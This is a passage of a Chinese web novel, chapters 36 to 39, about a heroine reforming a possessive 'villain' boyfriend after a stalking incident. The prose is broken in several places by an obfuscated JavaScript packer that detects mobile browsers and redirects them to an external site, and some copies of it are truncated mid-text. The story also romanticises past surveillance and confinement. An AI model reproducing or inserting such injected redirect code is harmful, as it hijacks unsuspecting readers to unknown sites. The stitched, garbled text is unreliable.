“洛洛，为什么你就是不能乖乖听我的话呢，我对你那么好，我对你那么好……” 秦洛被他吓得缩进了祝渺怀里。 祝渺安抚地拍了拍她的肩。 那个男生就这么被带走了。 据他本人所说，他是喜欢秦洛很久了，一直在偷窥她的生活，想方设法接近秦洛。 这次终于忍不住，想把秦洛一直留在自己身边，所以把人带到了自己家早年间在林子里开的早已废弃的工厂里。 他还说，自己是真心想和秦洛在一起一辈子的。 只是这话……可把秦洛膈应坏了。 从警局出来，秦洛便一直心有余悸。 她被这次经历吓坏了，表面看着没事人似的，心理上其实还没缓过来。 祝渺就这么陪着秦洛，在酒店休息了两日。 只是这两天，祝渺觉得有些奇怪。 她突然离开，很多朋友都给她发消息，她也给不少人道了平安。 可唯独某个平时一直给她发消息的人，忽然就安静了。 这天早晨，祝渺独自出门买早餐。 走出酒店门口，沿着马路一路走进一个拐角。 而后忽然转身，果不其然，撞上一个熟悉的人影。 那人转身就要走。 祝渺直接一声喝令：“站住！” 顾忱的脚步立刻就停了。 “转过来。” 顾忱艰难地挪动脚步，转过身，脚步沉重得像是犯下了什么弥天大错。 “你果然来了G市。”祝渺道。 顾忱的回复格外艰难：“对不起，渺渺……说好的三个月，我食言了。” 祝渺走上前，对上他躲闪的目光，眼神显得有些微凉。 “你说得对，三个月之约，你没有遵守，那你准备怎么办呢？” 顾忱脸色刷地泛白，躲开祝渺的眼神，开口的嗓音略显发哑。 “我……会离开。” “你说什么？” “我会离开，不会再打扰你。渺渺……你可以过上你想要的生活了。” 再说下去，他似要哽咽了。 从未见过他如此委屈的神色，如同天塌了一般。 祝渺也不忍心逗他，伸手揪了揪他的脸蛋。 “谁说我要你走了？” 顾忱抬头：“你的意思是……？” “虽然是约定，但又不是生死契约，干嘛一副这样的表情，好像我欺负你似的！” 他的眼眶都泛起红色血丝了，别说，这般神情……倒衬得他更好看了。 祝渺任他轻轻抱住自己，在他耳边道：“我知道你来找我，是因为担心我。你是不是跟进了树林，阻止了摩托车追我？报警也是你帮忙的吧，要不然警察怎么会来得这么快？” 顾忱轻应一声：“嗯。” 祝渺回抱了他一下，顾忱却“嘶”了一声，很轻，可祝渺还是听到了。 祝渺放开他，皱眉：“你是不是受伤了？” “一点小伤，已经没事了。”顾忱抿了抿唇，“我没有来找你，你别怪我……” 祝渺：“哦，我当然怪你。” 顾忱脸色又不太好。 祝渺继续道：“这么危险的地方，你怎么能独自一个人进去？以后不要做这么危险的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正如她一个人来G市，及时没有和顾忱说什么，心底里也认为他会在身边，莫名的信任，莫名的安心，让她自己也觉得奇异。 ……啊，当然，若是他太过分逾距的话，她还是会生气的！ 祝渺回身，又轻轻在顾忱背后拍了拍，心道：嗯……反派改造计划，还是任重道远呢。 只是这次，她不会再被动了。 无论顾忱还要做出什么样不合理的举动，她都有信心阻止和改变他。当然，她更相信他已经不是书里那个反派角色了。 这段时间，她静下心来反复思考过这个命题，天生存在缺陷的反派角色，之所以成为“反派”，是因为基因注定，还是环境塑造？ 若是基因注定，那就是天命，她再做什么都是徒劳；若是环境塑造，那么将他身边的一切改变，他便不会再按照原有的命运发展。 最终，她的结论是，命运总是把握在人的手中。每个改变命运的机会，她也一样会把握。 * 回程的飞机上，祝渺和秦洛坐在一块。 而前排单独坐着的，正是顾忱。 三人一起飞回了江州。 秦洛看看前排，又看看祝渺，忍不住八卦地凑到祝渺耳边：“你们这是怎么回事？他为什么会在G市？” “嗯……”祝渺解释，“他不放心我，自然就飞来找我了。” “我哪里是问这个啦！” “啊，那就是，你看到的这样。” “我看到的哪样？” “就是这样……” 秦洛眼神微眯：“渺渺，你不厚道。” 祝渺：“……” “所以，你们真的在交往啦！”秦洛一个激动，声音不自觉地提高，“我还以为你还在和他搞暧昧……” 祝渺赶紧捂住她的嘴。 真是！什么话都往外蹦！ 听到一些敏感词汇，顾忱不由得耳朵微微一动，又装作什么也没听到的样子。 这一路上，由于顾忱并不怎么会社交，一直很安静，毕竟以顾忱的性格，对外人不冷漠就已经算是友好。 所以只有祝渺和秦洛两个人凑在一块聊“悄悄话”。三人勉强算是友好相处，但气氛还是不自主地有些微妙。 比如，祝渺吃东西弄脏衣服时，会有一只更及时的手出来帮忙整理；祝渺和秦洛一块提着行李时，就会有一只大手伸过来，将祝渺手中的东西默默提走…… 秦洛拿着个大行李箱：“……服了，我居然觉得自己才是那个大灯泡！” 37. 第 37 章 飞机落地，三人平安回到学校。 时间正好是中午，秦洛早已和家人报平安，但爸妈不放心她，已经赶来了学校，于是秦洛飞机一落地就去陪爸妈了。 祝渺和顾忱吃完了午饭，见天气正好，她就拉着顾忱在学校里散步。 他们还是第一次这么“光明正大”像一对普通校园小情侣一样在学校里闲逛。 此时正是午后第一节课开始的时间，路上几乎没有人，学校静谧，只有早春的飞鸟在树上此起彼伏地叫着，不像校园，倒像是公园。 顾忱颇有些遗憾道：“可惜这个时间没有广播。” 祝渺想起上次他给自己点的歌。 “没有广播，那你唱给我听。” 顾忱一愣，犹豫道：“我不会唱歌……” 他从来没唱过歌。 祝渺也在想，他这么正经帅气的模样，唱起歌来要是五音不全该是什么模样？ 那画面，有点幽默。 祝渺任性：“不管，我就要听，你唱给我听嘛。” “……好吧。” 顾忱妥协，开口清唱了几句。 祝渺微愣，叹了口气。 顾忱有些犹疑和担忧：“不好听？” 祝渺撇撇嘴：“意外的好听，顾同学，真是人比人气死人呀，你还有什么不擅长的吗？” 顾忱松了口气，面露笑容：“好听就好。” 过了一会儿，祝渺头顶传来一阵触感，抬头见一只手刚从自己头上放下。 她露出疑惑的表情。 顾忱低声解释：“有片花瓣……落在你头上。” 祝渺轻轻应了一声。 嘴角不由自主地往上微微扬起，有发丝随着微风从她脸颊抚过。 顾忱抿了抿唇：“你今天很开心？” 祝渺歪头看他：“看出来了？” “是因为……我吗？” 应该不会吧……他能让她感受到开心吗？ 她虽然原谅了自己，也没再提起他对她做的那些事，可是不愉快的记忆依然在。 就像他仍记得那些黑暗时光里发生的所有事，但凡记起，记忆就像一摊泥沼，让人越陷越深。 狂喜过后，他又陷入了一些否定和疑问之中。 真想把她那些不好的记忆都删干净啊，真想把她留在自己身边，时时刻刻都看见她，这样哪怕她再想起那些不高兴的事，再想逃，也不可能消失不见…… ……不行，不能这样。 他要是这么做了，她一定不会再这么轻易原谅自己了。 顾忱的神色看不出什么情绪，眸子却深邃如深空，似闪过许多复杂的内容，祝渺走靠近他。 “不是你，是因为谁？”她在回答他前面的问题。 “交了一个帅气唱歌还这么好听的男朋友，我不能开心吗？”祝渺上手捏了捏他的脸蛋。 手感不错。 顾忱一瞬间露出呆呆的眼神。 唔，其实也怪可爱的，真不知道这家伙哪里像反派了，哪里有反派邪恶可怕的气势。 捏完了顾忱的脸，祝渺就松手，拽着他在池塘附近的长椅上坐下。 水面上波光粼粼。 祝渺百无聊赖地靠在顾忱肩膀上。 嗯……硬邦邦，怪硌人的，没有脸蛋软。 祝渺对顾忱的肩膀拍了一巴掌。 “放松一点嘛。” 他的肩果然松弛了一些。 祝渺调整了一下位置，舒服得像只懒洋洋的树袋熊。 她伸出手，去掏顾忱的口袋。 顾忱身体微僵：“你做什么……” 祝渺拿出他的手机，道：“我想在你手机里录入我的指纹，可以吗？” 顾忱毫无犹豫：“当然。” “不怕我偷看？” “我的一切都是你的，你愿意的话。” “我可不要你的一切，我只要你真心对我就好了。”她又不是控制狂。 “好。” 祝渺录完指纹，就拿出自己手机对顾忱道：“作为交换，我也允许你在我手机里录你的指纹。” 顾忱面色僵了僵：“对不起，我不会再做你不喜欢的事情。” 祝渺道：“你之前做的事我是不喜欢，我现在这么做也不是对你的认可，我只是想告诉你，这是我们互相信任的表现，你可以相信我，顾忱，你不需要偷偷关注我，害怕失去我。我们不要患得患失，好吗？” 顾忱张了张嘴，最后还是只是说：“好。” 不知为何，他的心中忽然一片坦然，刚才产生的害怕恐慌消失不见。 这是什么感觉呢？ 是安心？是相信？还是放松的喜悦？ 很复杂，但他觉得，都是。 他的心中从未如此安宁。 他想，也许有一天，他会真的不再害怕失去。 片刻无言，二人也享受了片刻安宁。 他们又有一搭没一搭地聊天。 想到了什么，顾忱忽然开口道： “我们之前的关系，是暧昧吗？” 是飞机上秦洛刚开口就被祝渺捂嘴的话，果然是被他听到了。 祝渺：“啊，她就是乱说。” “哦，那我们现在这样，还暧昧吗？” “我们现在是在交往，当然不能说是暧昧……” 顾忱微微歪头，语气竟然有些许蛊惑的味道：“有什么区别？” 祝渺：…… 他这副天然的好样貌，倒总是莫名其妙让气氛变得暧昧。 祝渺：“你说呢？你现在不应该已经对人类行为学很精通了？” 顾忱：“怎么会，我知道也不代表我理解，还是有很多复杂的情感我没有体验过。” 祝渺心想也是，颇有耐心地解释：“暧昧是两个人想靠近又不能靠近的一种氛围感，我们现在则是……可以光明正大地靠近。” “比如说……” 祝渺朝着他侧头的方向凑近，在他嘴角上印了一个蜻蜓点水般的亲吻。 顾忱愣了愣，脸颊碰到一小片柔软触感的瞬间，瞳孔微微缩了缩。 脸上竟是不受控制地有些热起来。 祝渺看着他泛红的脸颊和耳根，惊奇道：“你脸红了？” 顾忱撇过头，略带迷茫。 祝渺：“更红了诶，你要不要照照镜子？” 顾忱：“我为什么会脸红？” 祝渺对于这个问题表示无语：“因为……你害羞了。” 害羞……这也是他第一次拥有的感觉。 害羞似乎是个不错的情绪体验。 … 和祝渺在一起后，顾忱的情绪体验似乎比过去十几年来得还要多。 许多事都是新奇的，从前看别人做觉得很无趣不理解的事，只要和祝渺一起就变得很有乐趣。 因为祝渺是生动的。 没错，是生动。 她还是和小时候一样，好像并没有太大的变化，只要决定对你好，那她看向你的时候，眼里就会倒映出全部的你，而你将在她的眼里变得熠熠生辉。 这种微妙的感觉，小时候的顾忱不懂。 直到失去了，才发觉自己丢失了一些很重要的东西。 顾忱突然就对祝渺说：“渺渺，我经常后悔。” 祝渺对他没来由的话表示疑问。 顾忱：“要是我天生就是个正常人，小时候一定会对你好，你就不会离开我了，我们也不会分开这么多年。” 祝渺失笑，原来他在懊恼这些。 都这么多年前的事情了，好多相处的细节其实她都记不清了，只记得自己背后偷偷诬赖他的事……对于这件事，她还有些小小的愧疚。 他不知道的是，她离开他主要还是因为恢复记忆知道了剧情，不是因为他这个人。 要不然，她怎么会想方设法逃离顾家呢？ 但这些话她不知道怎么和顾忱坦言。 她有些心虚，安抚顾忱道：“你怎么就不是个正常人了？嗯……虽然你小时候对我是比较冷漠啦，毕竟我从小人见人爱，你确实是与众不同了一点，但原本每个人都是不一样的嘛。” “那现在的我呢，还……与众不同吗？” “当然，你当然是与众不同的啦。” 顾忱脸色刷地担忧起来，“是我做得还不够好吗？” 祝渺：？ 突然反应过来，他好像没有理解她的意思…… “我说的与众不同，不是说你奇怪的意思！” 顾忱：？ 祝渺扶额，怎么办，男朋友好像没听懂自己的情话。 顾忱：“我明白了。” “明白什么？” “你说的与众不同，就像在我眼里，你也是特别的那个存在一样。” 祝渺在心里点头：是啊，就是这个意思嘛。 怎么感觉……顾忱现在越变越正常了，还变呆了？ 难道恢复正常还会减智商？还是恋爱会让人智商变低？ 腹诽归腹诽，祝渺可没说出来。 变呆就变呆吧，总比变成阴郁反派来得好！ 但还没完， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596471|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾忱继续若有所思地认真道：“渺渺，你知道吗？你真的，是我生命里最特别的存在。” 祝渺抬眉：“有多特别？” “如同焰火不可触碰，如同太阳不可直视，却无法从生命中抹去。热烈，明媚，想让人永远追随下去。” 祝渺半晌说不出话来。 智商水平下降了，情商水平倒是直线上升，这情诗般的话一套套的。 唔，用来哄哄小姑娘就算了，她这活了两辈子了，可没那么容易被这么肉麻的情话唬住。 但……上扬的嘴角压根抑制不住她的好心情。 虽然祝渺老是时不时觉得他呆呆愣愣，或是人间“油”物，可在外人眼里，他还是那个不近人情的“高岭之花”。 高冷，难以接近，却还是偶尔有不知道他有女朋友的女生会试探着认识他。 比如变着法子偶遇他，制造搭讪的机会。 某次，顾忱在宿舍区门口的饮品店买喝的，一个女同学看见他一脸惊喜。 “诶？好巧呀，又遇到你了，前两天都在这里见到你诶。” 顾忱抬头，确认她是在和自己对话。 “我没见过你。” 女生也不尴尬，笑得依然明媚：“没事啦，我记得你呢。” 顾忱：“嗯。” 顾忱今天心情不错，这才应了她的话，否则可能根本懒得理会。 见到他拿了服务员递过来的橙子汁，女生继续追问：“你昨天也买了橙子，你特别喜欢橙子吗？” 顾忱微微蹙眉，似乎很不理解她为什么要这么问。 “和你有什么关系？” 这话就有些呛了，女生噎了噎，又勉强道：“……我也喜欢橙子味的，我们还真是有缘哈哈……” 气氛已经尴尬了，顾忱却对此无感，泰然自若。 他拿了包装袋就往门口走。 刚要迈出一步，就见祝渺正在门口，透过玻璃门朝他挥了挥手。 顾忱神情松动，回了句：“我不喜欢喝，女朋友喜欢。” 说完就走出了店门。 祝渺上前拿过橙子汁，喝了一口。 “嗯~冰凉凉的，好喝！” 喝完一口，祝渺抬眼就看见，站在顾忱身后的女生快速走出店门走了，脚步急匆匆的，有躲开逃走的意味。 祝渺眸光闪了闪：“唔……你刚才又被女同学搭讪了是不是？” “搭讪？不，只说了些无用的话。” “哼，有区别吗？我男朋友很受欢迎，我知道的呢。” 毕竟他的外表还是很具有“欺骗性”的，当初被他“软禁”，即使是知道他反派本性的自己，都要抵抗不住他的“诱惑”。 顾忱思索片刻：“渺渺……你吃醋了。” 祝渺咬咬吸管：“我才没有呢。” 顾忱抱住她，在她脖颈间喷洒出温热的气息，在她耳边轻声道：“要是渺渺不喜欢，我就不和别人说话了。” 祝渺赶忙阻止：“诶，别，我才没有这个意思，你就正常和别人交流沟通，我可没那么善妒。” 她可没有那么独断专行，占有欲那么强。 顾忱点头：“好。” 说什么应什么，还乖乖照做，真是听话得不行。 现在的顾忱，相处起来已经基本能与“普通人”无异了。 最多比“普通人”……粘人一点点。 至少不会再想把她控制在自己身边，不会追踪她监控她，不会离开她时间一长就惶惶不安…… 总之，在这几个月里，肉眼可见地，有了显著的进步。 祝渺表示很安慰。 如此一来，这个暑假，她就完全可以花时间继续在电视台做实习工作了。 时间过得飞快，转眼一个学期又混了过去。 祝渺的暑期实习又紧锣密鼓地安排了起来。 只是这个暑期学校宿舍装修，并不向学生开放住宿，祝渺只能先住在顾忱的公寓。 时隔几个月，又回到这个和游戏世界一模一样的公寓，祝渺忽然觉得有些恍惚。在游戏里与顾忱相识这件事，竟然已经是一年前的暑假了。 时间过得还真快，总觉得遇见顾忱才没多久。 为了减轻她搬家的压力，顾忱还已经给她配备好了新的生活用品。 还怪贴心的，祝渺小小感动了一下。 能住得舒舒服服安心实习，也好！ 祝渺美滋滋地准备投入工作中去。 没想到，她暑期工作的第一个任务，是采访一个明星。 还是个熟人。 38. 第 38 章 也是没想到，她这次任务的采访对象，居然是男主张铭生。 张铭生现在还不是事业巅峰期，但也算小有名气，与央妈合作拍摄了一部记录宣传片，也算是官方精选的根正苗红优质男演员。 正是因为这部纪录宣传片，他们华东电视台才专门做了这期采访报道。 老实说，要见本文男主，祝渺还是犹豫了一下。 不过就一下，就释然了。 上次她已经在校园里对男主进行过小采访，总体感觉体验并不坏。 何况她已经决定逐渐淡化原文对自己的影响，正常过自己想过的生活。 这是电视台第一次给她下达这样特别的采访任务。 虽然并不是由她来主导采访。她只是这次外采任务的小助理，跟着记者进行记录和拍摄就行。但她一个没经验的小实习生，第一次参与外出采访，很难得，也让她很期待。 祝渺也想过，如果顾忱在的话，知道了大概会不高兴？他之前似乎就不太喜欢男主…… 不过正好！顾忱不在。 他似乎是家里有什么事情要处理，需要离开两三天。 走前还好一通恋恋不舍。 顾忱搂着祝渺：“我不在，你要好好照顾自己。” 祝渺默默推开：“……你就走两三天，我不吃不喝都死不了。” 空气凝固两三秒，某人略带不满地喊她：“渺渺……” 祝渺揉了揉他的头发，制止了他借题发挥。 接下来两天，祝渺一个人去电视台工作，一心学习，倒也乐得自在。 本次任务，带她出去采访的记者就是带她的上级，名叫陈漫，第一天入职时陈漫出差了，并没有见到面，后来她们见面机会也不多，大部分时候是在线上交流。 但是祝渺能感觉到，陈漫似乎对她并不是很满意。 而原因大概是，她认为祝渺是“走后门”进来实习“镀金”的，很快就会离开，不会好好工作。 例如她在线上工作发布任务时，陈漫会特别叮嘱：“好好写，你可以被特殊对待，可是你写的内容不会被特殊对待。” 这次采访任务也特别叮嘱：“只要已经入职实习，就要好好完成任务，做这一行终归还是需要多锻炼一下自己的职业素养和能力，否则不会长久。” 除了意有所指的叮嘱，偶尔还会阴阳怪气一下。 祝渺对她偶尔的阴阳怪气和警告暗示一般也懒得反驳，毕竟她说的也没错。 但……管她呢，顾忱那钱砸都砸了，难道还得把钱撤回来然后对人家喊“我要靠实力证明自己”不成？ 再说了，她自认工作的本分都尽到了，工作完成度很高。 这一点，陈漫也没有什么话说。 这次跟着陈漫外出采访，陈漫讲了很多注意事项。 但是最多的，还是让她不要乱说话，好好配合记录就好了，尤其不要干扰她和张铭生的谈话做多余的事……之类之类。 呃，为什么她会觉得自己会想干扰她的采访？ 祝渺不理解，但总归是左耳进右耳出地应了。 来到拍摄现场，拍摄地是一处博物馆，张铭生拍摄的纪录片正好是古文物相关的故事，因此采访拍摄地也选取在这里。 一见到张铭生，陈漫就扬起标准专业的微笑，迎上前去。 祝渺也跟着上前，哪想到，张铭生一眼就看到了她，面露惊喜：“你是……祝渺同学，对吧？” 陈漫打招呼的话被堵在嘴边，微笑凝滞了一瞬，也跟着道：“诶，你们认识呀？” 张铭生：“我们是校友，算是师兄妹的关系。” 陈漫：“原来如此，害，渺渺怎么没有早说呢？” 祝渺笑笑：“我以为学长应该不记得我了。” 况且陈漫总归知道张铭生的学校背景，应该会联想到，但她没有提，祝渺也就没说什么。反正是陈漫让她少说少错的。 提前调查好被采访者的背景资料，找到之间的关系，这是记者应该要做的事情。 陈漫大概也是想到了这一点，尬笑两声，岔开话题普通寒暄了一会儿。 接下来的采访基本上按流程进行，倒是进行得很顺利，华东电视台的采访风格一向有深度和内涵，非八卦记者之流，因此并不涉及个人隐私、敏感话题，氛围也就基本轻松和谐。 大约两小时，采访顺利录制结束，已经差不多中午十二点，正好是午餐时间。 张铭生：“一起吃个饭吧？附近有家不错的茶餐厅。” 陈漫自然欣然接受，新闻记者，人脉和消息是很重要的，增加一些私交顺便还可以多知道一些消息。 陈漫一边吃一边借机打听：“铭生，你最近有什么拍摄中的影视作品吗？” 张铭生也并不掩饰：“下个月会开始拍摄韦导的电影。” 祝渺想到原著中有提到，让张铭生大火的电影正是韦导拍摄。 祝渺问：“电影是叫《绝境》吗？” 张铭生略微有些惊奇：“你怎么知道？” 祝渺：“嗯……网上有听说。” “看来你的消息很灵通。” “只是稍微关注了一下。” 这电影是个发生在未来世界的半悬疑片，题材新颖，上映后一时间让主演张铭生名声大噪。 然而，拍摄过程中因为道具操作失误，张铭生受了不小的伤。 也正是这伤，让他修养了好多天，事业方面也暂且搁置，甚至落下了一条去不掉的疤痕。 但正是在治疗期间，他认识了女主。 祝渺忍不住想提醒他小心，但又想了想，万一因此他遇不到女主了怎么办？他的事业发展方向改变了怎么办？剧情不也跟着变了？ 虽说她已经改变了很多剧情背景，但按道理是并不影响男主这边的剧情的。 还是不要轻易改变这条剧情线的好，受点伤落点伤疤……男子汉大丈夫，不算什么的！。 反正他有男主光环嘛！ 见祝渺有些欲言又止的样子，张铭生困惑：“怎么……电影有什么问题？” 祝渺收敛神色道：“不是，没有的事，网友们都很期待，我也很期待！一定会是部非常不错的作品。” 确实是不错的作品。 并不知道未来的张铭生笑了笑，只道祝渺是在恭维，感谢道：“借你吉言。” 这餐饭吃得还算愉快。 祝渺更加确定男主是个双商在线的正常人。 暗戳戳想，啧，和某人的画风就不太一样。 脑海中刚浮现顾忱的样子，祝渺猛一抬头，就看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601556|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了一个熟悉的人，此刻正坐在不远处的餐桌上。 祝渺心里差点“咯噔”一下。怎么回事，抬头起猛了？怎么心里刚说一句坏话，就能见到正主啊？ 接着又困惑：咦，顾忱不是回家了吗？怎么会在这里？难不成跟着自己来的？ 然而刚有这个念头，她就否定了自己，顾忱虽然还达不到“双商在线的普通人”这样的标准，但应该不会干“跟踪尾随”的事了。 再看他对面坐着的人，是个男人。 仔细一看，那人看起来要年长一些，一身笔挺的西装，发型也一样一丝不苟，看着是个工作稳重的人—— 当然如果不是他轻佻不屑的眼神和表情给他增添了不少道貌岸然的气质，祝渺真会以为他是成熟稳重型的成功人士。 然而，祝渺一眼就认出，那是顾忱的大哥——顾凛。 那个原文里明明是顾家私生子，却比顾忱还要年长几岁的大哥。 祝渺小时候从顾家离开时，还没有见过顾凛，顾凛是十几岁才回到顾家的，算算时间应该是祝渺走后两年。 但祝渺认得出顾凛，是因为这事早在网上被吃瓜群众八卦过，且祝渺看过许多顾凛的新闻报道。 按理说，他和顾忱关系并不好，不仅不好，还应该是水火不容的，原著里顾忱的黑化，最大一部分原因就是来自顾凛的存在。 顾忱天生与正常人不大一样，顾夫人为此十分担心焦虑，甚至患上抑郁症，还想了让祝渺陪在他身边长大的法子，可见她爱子心切。 可是，顾夫人没想到顾家居然会有个年纪更大的私生子，会在十几岁时找上门来，一时间又气又悲，抑郁症状日渐严重，终于有一天病症发作出意外过世了。 没过多久，顾凛的生母，也就是顾忱的继母，进了顾家的门，成了顾家新的女主人。 这女主人却不是什么好对付的角色，借顾忱不善感知和表达这一点，对顾忱多是虐待和欺负。 具体是怎么对待顾忱的，这一点书里并没有细写，祝渺只知道，顾忱的黑化和阴鸷就是从小时候不幸的童年开始的。 可是现在……顾忱怎么还心平气和地和顾凛在一块吃饭？ 难不成剧情发生了蝴蝶效应，兄弟二人和睦了？ 哦不，这不可能。 忽然间，下一秒，对面的人状似无意地扫过来一个眼神，对视上一瞬，他又像没看到她一般收回眼神。 祝渺：？搞啥呢？ 手机消息提示音响了起来，祝渺拿起手机看了一眼。 顾忱：【饭粒沾脸上了】 祝渺：……？ 祝渺伸手擦了擦脸，什么也没摸到，又关了手机屏当镜子照了照，分明什么也没有。 祝渺：【骗我？】 顾忱：【刚才真的有，已经被你吃了】 祝渺：【得了吧，那我自己怎么不知道？】 顾忱：【因为你们刚进餐厅，我就看到你了】 顾忱：【你和对面那个男的相谈甚欢，所以现在才留意到我】 祝渺：…… 怎么好像语气有些许哀怨？ 和人吃饭玩太久手机并不礼貌，祝渺没再回复，放下了手机继续“相谈甚欢”。 只是忽然感觉，这餐厅的气压貌似低了起来……== 39. 第 39 章 夏季的太阳落得晚，落日的余晖从城市一点点退出之时，祝渺下了班回家。 打开公寓门，就闻到一股热腾腾的饭菜香气，目光自然落到餐厅，桌上陈列着几道菜，还热乎着，一眼就知定然色香味俱全。 祝渺环顾一圈，没有看到顾忱的身影。 喊了一声，顾忱才从房间里走了出来，默默走到厨房盛饭。 祝渺也非常识趣地提供情绪价值：“哇忱忱连碗筷都准备好啦，这也太香了吧！” 顾忱拿碗筷的手差点没拿稳。 不知道她喊的是尘尘还是忱忱，上次喊他忱忱……好像还是在很多很多年前……不管是哪个chen，反正发音上反正都没有区别，他都高兴。 顾忱脸色不自然了一些，有些……扭捏地将碗筷递给祝渺。 双唇不自觉轻轻抿了抿，语速不紧不慢地低声道：“家饭哪有野饭香，再香也比不上四季茶餐厅的饭菜……” 祝渺刚塞嘴里一口饭，咀嚼差点一口咬上自己的肉。 什么就家饭没有野饭香！她这不是按时回家吃饭了吗！他还介意中午她专心吃饭半天没注意到他这件事？拜托，吃饭哪有空关心四周环境啊！ 脑中瞬间走马灯般走过一堆弹幕似的吐槽，最终说出口却成了：“怎么会呢？忱忱的饭做得最香了，哪家的饭都没有忱忱做的好吃！” ……祝渺也不知道自己怎么说出这般恭维的话来的，自己也忍不住打了个寒颤。 顾忱也呆了两秒，没想到她还会这么……撒娇？ 语气软了一些：“那就多吃点。” “我一定吃得干干净净！” 祝渺忙了一天饿得很，直接狼吞虎咽。 不得不说，顾忱是真有做饭天赋啊！ 可能学霸就是学什么都强吧？ 祝渺忽然想到今天中午的场景：“今天和你一起吃饭的是你哥吗？” 顾忱夹菜的手顿了顿，又继续夹菜进碗里，语气淡漠，但又有点冷意。 祝渺放低了声音：“我是你女朋友，你有不高兴的事可以和我分享，当然啦，如果你真的不想说也可以等准备好了再说。” 他本不想告诉渺渺这些，可是，他们现在是男女朋友了，男女朋友之间，应当什么都可以相互诉说。 顾忱笑笑，“没什么不能说的。渺渺，你离开时应该还没见过顾凛。” 祝渺点头，“我离开顾家时，还没有他，他是什么时候……” “是你离开后三个月。”顾忱似乎已经猜到她要问什么，直接给出了答案。 “那你们现在关系怎么样？” “一个陌生女人带来的陌生人，成为你的家人，渺渺，如果是你，你会怎么应对？你应该会不能接受吧。” “不能接受，这是正常人的反应。可惜，那时的我并不是个正常人。” 他的语气平淡，却让人听出了沉重的无力无奈：“那时我并不明白什么是亲情，什么是家人。你走后，我开始努力学习这些世俗常识……” 顾忱静静阐述，祝渺静静听着。 自祝渺离开后，他意识到自己的生活失去她了，他失去的是很重要的人。 可是为什么呢？ 为什么呢？ 他怎么也想不通。 他想知道为什么。第一次，他开始渴望了解自我之外的世界。 于是，他开始学着去做一个普通人，开始汲取外界的信息和知识。 一个普通人应该是什么样子的？ 首先，一个人应该有正常的社会关系，比如，亲人，朋友，恋人…… 他开始学着跳出自己的世界，关注起身边的人，比如尝试着与父母有更多的交流，努力关注他们说什么做什么，并做出正确且恰当的回应……这令他的母亲感到惊喜。 他一直是他母亲心中的一根刺，尽管想尽办法治疗，却一直收效甚微，作为母亲她甚至有时候也不知道该如何面对这个儿子，多年来一直郁郁寡欢。 没想到，在祝渺那个女孩子走了之后，他开始有所变化了。 如此，顾忱度过了一段此生中与家人相处最和谐融洽的时光。 可这段时光仅仅维持了两三个月，顾家就发生了天翻地覆的变化。 他不明白其中发生了什么，只知道家里来了个比他年长几岁的男孩。他父亲说，那是他哥哥，他母亲却说，他不配在这个家里，不允许他喊哥哥。 这太过复杂了，顾忱不明白。 父母的注意力不再在他的身上，也不再对他和颜悦色，面对他的，尽是一些他看不懂的眼神与情绪。 这也是第一次，他隐约感到了被忽视和冷落的孤独感。 他想，这真是一种奇妙的感觉。 唯有他这个哥哥，在无人之时，会对他和颜悦色，格外关照。 于是他喊出了那一声“哥哥”。 可他不知道，这却是噩梦的开始。 某一个并不特别的早上，有人告诉他，他的母亲不在了。 不在了……是什么意思？是和渺渺一样，离开了这个家吗？ 是因为他吗？ …… 没多久，家里就又来了一个女人，和他的母亲非常不一样，也让他更加迷惑。 有时对他无比关心，有时却又对他无比冷漠、粗鲁，甚至暴力。 见到父亲的日子越来越少，而这个女人对他关心的模样也越来越少。 他身上看不见的地方，布满了淤青伤痕，有时饿肚子，有时生病。 这个女人说：“真是个乖孩子，不哭不闹，真是听话。” 顾忱已经能理解一些话了，女人说的那些话是在对人表示夸赞。 那时的他是这么认为的。 于是他在这样的环境中平静地长大。 自然，他也明白了，原来这世上并不是所有表示赞许的语言，都是表示赞许的。 他明白了人与人之间许多复杂的关系，明白了他父母之间发生了什么，明白了这个女人与哥哥究竟是什么样的人。 他最先领会到的一种复杂人性，叫伪善。 可惜，他明白得太晚了。 他已深陷地狱，不知该如何反抗。 于是，他也学会了恨，学会了虚伪和欺骗。 …… “渺渺，要学会这些，好难啊。” “可是我很高兴，我学会了好多，才能站到你的身边。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613550|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他说难的时候，十分松弛，不知道他隐去了多少痛苦。 